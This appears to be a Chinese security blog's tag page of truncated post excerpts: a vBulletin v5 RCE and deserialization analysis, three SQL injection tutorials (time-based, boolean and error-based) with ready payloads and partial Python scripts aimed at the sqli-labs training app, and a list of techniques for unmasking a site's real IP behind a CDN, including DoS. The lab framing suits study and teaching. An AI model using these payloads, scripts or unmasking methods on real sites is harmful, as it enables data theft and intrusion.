Tag:渗透测试

Tag (渗透测试)'s result:

vBulletin Forum v5双0day分析礼包

0x00 概述 前段时间网上爆出vbulletin v5论坛的两个0day,一个是文件包含导致代码执行,另一个是反序列化漏洞(cve-2017-17672),本文结合源码对这两个0day进行分析,主要参考https://blogs.securiteam.com/index.php/archives/3573和https://blogs.securiteam.com/index.php/archives/3569。   0x01 rce漏洞 首先看看index.php: $app = vB5_Frontend_Application::init(‘config.php’); //todo, move this back so we can catch notices in the startup code. For now, we can set the value in the php.ini //file to catch these situations. // We report all errors here because we have to make Application Notice free error_reporting(E_ALL | E_STRICT); $config = vB5_Config::instance(); if (!$config->report_all_php_errors) { // Note that E_STRICT became part of E_ALL in PHP 5.4 error_reporting(E_ALL & ~(E_NOTICE | E_STRICT)); } $routing = $app->getRouter(); $controller = $routing->getController(); $method = $routing->getAction(); $template = $routing->getTemplate(); $class = ‘vB5_Frontend_Controller_’ . ucfirst($controller); if (!class_exists($class)) { // @todo – this needs a proper error message die(“Couldn’t find controller file for $class”); } vB5_Frontend_ExplainQueries::initialize(); $c = new $class($template); call_user_func_array(array(&$c, $method), $routing->getArguments()); vB5_Frontend_ExplainQueries::finish(); 大概看出是初始化配置,那就进入init这个方法看看,在 /includes/vb5/frontend/application.php: public static function init($configFile) { parent::init($configFile); self::$instance = new vB5_Frontend_Application(); self::$instance->router = new vB5_Frontend_Routing(); self::$instance->router->setRoutes(); self::$instance->router->processExternalLoginProviders(); $styleid = vB5_Template_Stylevar::instance()->getPreferredStyleId(); 重点关注setRoutes(),应该是设置路由,继续跟进这个方法: /includes/vb5/frontend/routing.php: function setRoutes() { $this->processQueryString(); //TODO: this is a very basic and straight forward way of parsing the URI, we need to improve it //$path = isset($_SERVER[‘PATH_INFO’])……

sql盲注之时间盲注

0x00 概述 渗透的时候总会首先测试注入,sql注入可以说是web漏洞界的Boss了,稳居owasp第一位,普通的直接回显数据的注入现在几乎绝迹了,绝大多数都是盲注了,此文是盲注系列的终篇,介绍盲注中的时间盲注。 0x01 时间盲注原理 由于有时网站关闭了错误回显或过滤了某些关键字,网页只会返回一种状态,这是就要用时间盲注了。 先整理几个基本函数: if(1,2,3):如果1真,则执行2,否则执行3 Sleep(x):执行延迟x秒 Benchmark(x,1):执行表达式1,x次(会消耗cpu,慎用!)   0x02 测试 Sqli-labs less-6: 这里尝试时间盲注。 1. 爆数据库名: 192.168.101.251:8999/sqli-labs/Less-6/?id=1″ and if(ascii(substr(database(),1,1))>115,1,sleep(3))–+ 当>115时是4034ms,而>114时是1041ms,所以可以判断>115时执行了sleep,同时说明数据库名第一个字符是s。 同理判断其余字符,最后得出数据库名security。 2. 爆表名: 2.192.168.101.251:8999/sqli-labs/Less-6/?id=1″ and if(ascii(substr((select table_name from information_schema.tables where table_schema=’security’ limit 0,1),1,1))>101,1,sleep(3))–+ >101出现延时,>100不延时,所以为e,同理爆出其余字符得emails,再爆出其余表名。 3. 爆列名: 3.192.168.101.251:8999/sqli-labs/Less-6/?id=1″ and if(ascii(substr((select column_name from information_schema.columns where table_name=’users’ limit 0,1),1,1))>105,1,sleep(3))–+ >105出现延时,>104不延时,表明users表第一个列第一个字符为i,同理爆出其余字符得id,同理爆出其余列名username,password。 4. 爆数据: 4.192.168.101.251:8999/sqli-labs/Less-6/?id=1″ and if(ascii(substr((select password from users limit 0,1),1,1))>68,1,sleep(3))–+ >68出现延时,>67不延时,表明password列第一项数据的第一个字符为D,同理爆出其余字符得Dumb,再爆出其余数据。   0x03 时间盲注脚本 只完成爆出数据库名,其余数据根据需要更改即可。 #coding:utf-8 #Author:LSA #Description:Time based sqli script for sqli-labs less 6 #Data:20180108 import requests import time import string import sys headers = {“user-agent”:”Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; 360SE)”} chars = ‘abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.’ database = ” global length for l in range(1,20): lengthUrl = ‘http://192.168.101.251:8999/sqli-labs/Less-6/?id=1″ and if(length(database())>{0},1,sleep(3))–+’ lengthUrlFormat = lengthUrl.format(l) start_time0 = time.time() rsp0 = requests.get(lengthUrlFormat,headers=headers) if time.time() – start_time0 > 2.5: print ‘database length is ‘ + str(l) global length length = l break else: pass for i in range(1,length+1): for char in chars: charAscii = ord(char) url = ‘http://192.168.101.251:8999/sqli-labs/Less-6/?id=1″ and if(ascii(substr(database(),{0},1))>{1},1,sleep(3))–+’ urlformat = url.format(i,charAscii) start_time = time.time() rsp = requests.get(urlformat,headers=headers) if time.time() – start_time > 2.5: database+=char print ‘database: ‘,database……

sql盲注之布尔盲注

0x00 概述 渗透的时候总会首先测试注入,sql注入可以说是web漏洞界的Boss了,稳居owasp第一位,普通的直接回显数据的注入现在几乎绝迹了,绝大多数都是盲注了,此文是盲注系列的第二篇,介绍盲注中的布尔盲注。   0x01 布尔盲注原理 关注于sql语句是否执行成功,而页面只返回true或false。 主要函数: left(x,y): 获取x的前y位。 substr(x,y,z): 获取y的从x开始的z位。 ascii()/ord(): 得字符的ascii值。 length(): 返回字符串长度。 ……   0x02 测试 Sqli-labs: less-8 1.判断注入 192.168.101.225:8999/sqli-labs/Less-8/?id=1′ 返回false,不加’则返回true,由此判断为布尔盲注。 2. 猜解数据库名长度 192.168.101.225:8999/sqli-labs/Less-8/?id=1′ and length(database())=8–+ =8返回true则说明数据库长度为8,用二分法逐步缩小猜测范围。 3. 猜解数据库名 192.168.101.225:8999/sqli-labs/Less-8/?id=1′ and (ascii(substr(database(),1,1)))=115–+ =115返回true,说明数据库名第一个字符ascii值115,即s,同理用二分法猜解余下7位字符,把1,1改2,1即可猜第二位字符,结果为security。 4. 猜解security第一个表名 192.168.101.225:8999/sqli-labs/Less-8/?id=1′ and (ascii(substr((select table_name from information_schema.tables where table_schema=’security’ limit 0,1),1,1)))=101–+ =101返回true,说明security库第一个表名第一个字符为e,同理猜解出余下字符,猜解第二个表名则把limit 0,1改limit 1,1即可。(判断表名是否结束可以用>0判断,如果大于0都false则表示这个/所有表名猜解完了) 5. 猜解users表的第一个列名: 192.168.101.225:8999/sqli-labs/Less-8/?id=1′ and (ascii(substr((select column_name from information_schema.columns where table_name=’users’ limit 0,1),1,1)))=105–+ 返回true,则说明第一个列名的第一个字符为i,同理猜解余下的所有列名,有id,username,password 6. 猜解数据 192.168.101.225:8999/sqli-labs/Less-8/?id=1′ and (ascii(substr((select password from users limit 0,1),1,1)))=68–+ =68返回true,说明第一个password数据的第一个字符是D,同理猜解余下的字符,为Dumb。   0x03 布尔盲注脚本 #coding:utf-8 #Author:LSA #Description:blind sqli boolean base script #Date:20171226 import requests import re import binascii import optparse import sys fdata = [] chars = ‘abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_’ def judge_vulnable(url): normal_rsp_length = requests.get(url).headers[‘content-length’] vuln_url = url + “‘” vuln_rsp_length = requests.get(vuln_url).headers[‘content-length’] if normal_rsp_length!=vuln_rsp_length: print ‘The url is vulnable!’ else: print ‘The url seems not vulnable’ def getDatabasesNum(url): for dbsNum in xrange(1,20): dbs_num_length_url = url + “‘ and (select length((select distinct table_schema from information_schema.tables limit {0},1)))>0–+” dbs_num_length_url_format = dbs_num_length_url.format(dbsNum) dbs_num_rsp_length = requests.get(dbs_num_length_url_format).headers[‘content-length’] if dbs_num_rsp_length == ‘722’: print ‘***Databases num is ‘ + str(dbsNum) + ‘***’ return dbsNum def getDatabases(url): databases = [] databasesNum = getDatabasesNum(url) for databaseIndex……

sql盲注之报错注入

0x00 概述 渗透的时候总会首先测试注入,sql注入可以说是web漏洞界的Boss了,稳居owasp第一位,普通的直接回显数据的注入现在几乎绝迹了,绝大多数都是盲注了,此文是盲注系列的第一篇,介绍盲注中的报错注入。   0x01 报错注入原理 其实报错注入有很多种,本文主要介绍几种常见的报错方法,有新姿势后续再更新。 1. Duplicate entry报错: 一句话概括就是多次查询插入重复键值导致count报错从而在报错信息中带入了敏感信息。 关键是查询时会建立临时表存储数据,不存在键值就插入,group by使插入前rand()会再执行一次,存在就直接值加1,下面以rand(0)简述原理: 首先看看接下来会用到的几个函数 Count()计算总数 Concat()连接字符串 Floor()向下取整数 Rand()产生0~1的随机数 rand(0)序列是011011 1. 查询第一条记录,rand(0)得键值0不存在临时表,执行插入,此时rand(0)再执行,得1,于是插入了1。 2. 查询第二条记录,rand(0)得1,键值1存在临时表,则值加1得2。 3. 查询第三条记录,rand(0)得0,键值0不存在临时表,执行插入,rand(0)再次执行,得键值1,1存在于临时表,由于键值必须唯一,导致报错。 由上述可得,表中必须存在大于等于3条记录才会产生报错,实测也如此。 一些报错查询语句(相当于套公式): 假设字段数是3 经典语句: union select 1,count(*),concat(version(),floor(rand(0)*2))x from information_schema.columns group by x;–+ version()可以替换为需要查询的信息。 简化语句: union select 1,2,count(*)  from information_schema.columns group by concat(version(),floor(rand(0)*2));–+ 如果关键的表被禁用了,可以使用这种形式 select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2)) 如果rand被禁用了可以使用用户变量来报错 select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)   Sqli-labs less5测试: 1. 获取库名: 192.168.43.173:8999/sqli-labs/less-5/?id=1′ Union select 1,count(*),concat(database(),0x26,floor(rand(0)*2))x from information_schema.columns group by x;–+ 2.获取表名: 192.168.43.173:8999/sqli-labs/less-5/?id=1′ Union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=’security’ limit 3,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;–+ 3. 获取列名: 192.168.43.173:8999/sqli-labs/less-5/?id=1′ Union select 1,count(*),concat((select column_name from information_schema.columns where table_schema=’security’ and table_name=’users’ limit 1,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;–+ 4. 爆数据 192.168.43.173:8999/sqli-labs/less-5/?id=1′ Union select 1,count(*),concat((select password from users limit 0,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;–+ 2. Xpath报错: 主要的两个函数: Mysql5.1.5 1. updatexml():对xml进行查询和修改 2. extractvalue():对xml进行查询和修改 都是最大爆32位。 and updatexml(1,concat(0x26,(version()),0x26),1); and (extractvalue(1,concat(0x26,(version()),0x26))); Sqli-lab less5测试: Updatexml(): 192.168.43.173:8999/sqli-labs/less-5/?id=1′ and updatexml(1,concat(0x26,database(),0x26),1);–+ Extractvalue(): 192.168.43.173:8999/sqli-labs/less-5/?id=1′ and extractvalue(1,concat(0x26,database(),0x26));–+ 3. 整形溢出报错: Mysql>5.5.5 主要函数: exp(x):计算e的x次方 Payload: and (EXP(~(select * from(select version())a))); Exp()超过710会产生溢出。 将0按位取反就会返回“18446744073709551615”,而函数执行成功会返回0,所以将成功执行的函数取反就会得到最大的无符号BIGINT值,从而造成报错。 4. 数据重复报错: Mysql低版本 payload:select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x   5. 其余报错: GeometryCollection() id = 1 AND GeometryCollection((select * from (select * from(select user())a)b)) polygon() id =1 AND polygon((select * from(select * from(select user())a)b)) multipoint() id = 1 AND multipoint((select * from(select * from(select user())a)b)) multilinestring() id = 1 AND multilinestring((select * from(select * from(select user())a)b)) linestring() id = 1 AND LINESTRING((select * from(select * from(select user())a)b)) multipolygon() id =1 AND multipolygon((select * from(select * from(select user())a)b))   0x02 报错注入脚本 依据sqli-lab less-5写的自动化注入脚本,实战再根据具体情况修改即可,盲注还是写脚本方便点。 #coding:utf-8 #Author:LSA #Description:blind sqli error base script #Date:20171222 import sys import requests import re import binascii from termcolor import * import optparse fdata = []……

检测cdn和寻找真实ip的一些方法总结

0x00:检测cdn 1.nslookup: 有无cdn的实例,返回多个ip肯定有cdn,但是返回一个ip不一定就是真实ip,这时候要结合多种方法判断。   2. 多地ping: 相关网站: ping.chinaz.com https://ping.aizhan.com 返回多个ip则存在cdn,返回相同ip几乎就是真实ip了。 //多地ping可能获取到真实ip。   3. 响应头: www.12306.cn的响应头 Accept-Ranges: bytes null: HTTP/1.1 200 OK X-Cache: HIT from cache.51cdn.com X-Via: 1.1 zib232:4 (Cdn Cache Server V2.0), 1.1 xz115:6 (Cdn Cache Server V2.0) Connection: keep-alive Last-Modified: Fri, 24 Oct 2014 09:24:58 GMT Content-Length: 1480 Age: 22852 Date: Sat, 14 Oct 2017 04:22:44 GMT X-Powered-By: Servlet/2.5 JSP/2.1 Content-Type: text/html 从响应头字段可以看出cdn相关信息。   4. 在线分析网站 https://builtwith.com https://www.cdnplanet.com/tools/cdnfinder/   5. cdn厂商ip列表   0x01:寻找真实ip 1.去除www: 如www.xxx.com用了cdn,xxx.com可能就没用cdn。 2. 二级域名: 找到没用cdn的二级域名的ip,修改host绑定到目标域名,能访问则目标域名和其二级域名在同服,若不在可尝试c段。 3. nslookup: 用国外的dns,最好是冷门dns,可能解析到真实ip。(也可以尝试ns/mx记录) 4. 查域名解析历史记录: 用cdn之前的可能就是真实ip。 https://x.threatbook.cn/en https://dnsdb.io https://viewdns.info 5. rss订阅 6. 邮件 7. 服务器漏洞: xss/ssrf等,这就方便了…… 8. dos: 打光cdn流量,回溯真实ip。 9.敏感文件泄漏: 如phpinfo探针 10. zmap全网扫描: 获取目标地域的ip段->扫描80端口->banner-grap抓取banner->http-req-host写目标域名->对过滤出的ip再次抓banner 11. fofa大法: html源码检索,查找网站特征字符串。   12. SSL证书 https://censys.io/certificates parsed.names:xxx.com 443.https.tls.certificate.parsed.extensions.subject_alt_name.dns_names:www.xxx.com   13. HTTP标志性头/网页返回内容 censys 80.http.get.headers.server:cloudflare / censys 80.http.get.body: 通过body/source过滤 shodan http.html   14. F5 LTM解码法 当服务器使用F5 LTM做负载均衡时,通过对set-cookie关键字的解码真实ip也可被获取,例如:Set-Cookie: BIGipServerpool_8.29_8030=487098378.24095.0000,先把第一小节的十进制数即487098378取出来,然后将其转为十六进制数1d08880a,接着从后至前,以此取四位数出来,也就是0a.88.08.1d,最后依次把他们转为十进制数10.136.8.29,也就是最后的真实ip。 //这种方法本人测试只能获取内网ip。   15. 其他 反查/社工cdn/旧域名可能指向真实ip。   0x02 参考资料 www.jianshu.com/p/c89128517b9c https://zhuanlan.zhihu.com/p/24396958 https://www.v2ex.com/t/147387 https://www.v2ex.com/t/212177 www.cnblogs.com/blacksunny/p/5771827.html www.cnblogs.com/milantgh/p/5013254.html https://mp.weixin.qq.com/s?__biz=MjM5Njc3NjM4MA==&mid=2651071300&idx=4&sn=84b87138cbf12072fbe15c7be7feeb8e&scene=0#wechat_redirect https://www.cmsky.com/cn-cdn-ip/ xiaix.me/rao-guo-cdncha-zhao-wang-zhan-zhen-shi-ip/ https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=10614&highlight=cdn https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=2551&highlight=cdn https://www.cnblogs.com/qiudabai/p/9763739.html https://www.lurbk.com/lur2538.html